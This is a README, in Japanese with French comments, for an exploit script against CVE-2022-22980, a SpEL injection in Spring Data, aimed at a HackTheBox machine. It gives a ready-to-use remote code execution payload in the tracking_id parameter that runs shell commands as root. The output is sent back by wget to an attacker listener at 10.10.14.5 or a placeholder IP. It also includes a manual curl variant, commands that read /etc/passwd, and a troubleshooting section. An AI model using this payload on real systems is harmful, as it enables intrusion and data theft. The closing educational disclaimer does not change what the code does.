
CVE-2022-22980 の悪用
Spring Data に対する SpEL(Spring Expression Language)インジェクションを利用したリモートコード実行(RCE)エクスプロイト。
このボックスは、SpEL インジェクションに対して脆弱なパラメータ tracking_id を受け付けるエンドポイント /search を公開しています。このインジェクションにより、サーバー上で悪意のある Java 式を直接実行できます。
Runtime.getRuntime().exec() を介してシェルコマンドを実行する SpEL 式を注入しますhttp.server、subprocess、threading、base64 を使用)LPORT を変更)お使いの環境に合わせてスクリプト内のパラメータを変更します:
TARGET = "http://<IP_CIBLE>:8080/search" # URL de la cible
LHOST = "<VOTRE_IP>" # IP locale (tun0 pour HTB)
LPORT = 80 # Port d'écoute
# Commande simple
python3 spel_shell.py "whoami"
# Commande avec pipe
python3 spel_shell.py "cat /etc/passwd"
# Énumération système
python3 spel_shell.py "uname -a"
# Vérifier l'accès réseau
python3 spel_shell.py "curl -s http://httpbin.org/get"
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==
[+] Command output:
root
スクリプトを使わずにペイロードをテストしたい場合:
# Terminal 1 : Démarrer le listener
python3 -m http.server 80
# Terminal 2 : Envoyer la payload
curl -X POST \
-d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
http://<IP_CIBLE>:8080/search
ポート 80 が使用中です。解決策:
# Vérifier quel processus utilise le port
sudo netstat -tlnp | grep :80
# Arrêter Apache si actif
sudo systemctl stop apache2
# Ou utiliser un autre port
# Modifiez LPORT dans le script et testez
LHOST:LPORT に到達できることを確認してくださいpython3 spel_shell.py "echo test"sudo が必要ですifconfig(HTB では tun0)を使用し、127.0.0.1 ではなく「Command output」の代わりに「Raw data received」が表示される場合、コマンドが有効な出力を生成しなかった可能性があります。常に出力を生成するコマンドをテストしてください。
1. start_server() - Lance un serveur HTTP sur le port 80
↓
2. Envoie la payload SpEL via curl vers la cible
↓
3. La cible exécute la commande et encode le résultat en base64
↓
4. wget envoie le résultat vers le listener (GET http://LHOST:LPORT/<data>)
↓
5. Le Handler reçoit la data et la stocke
↓
6. Le script décode et affiche le résultat
このスクリプトは、HackTheBox のボックス向けの教育目的で提供されています。テストする許可を得た環境でのみ使用してください。
著者:Eliasdekiniweek
日付:2026年2月
言語:Python 3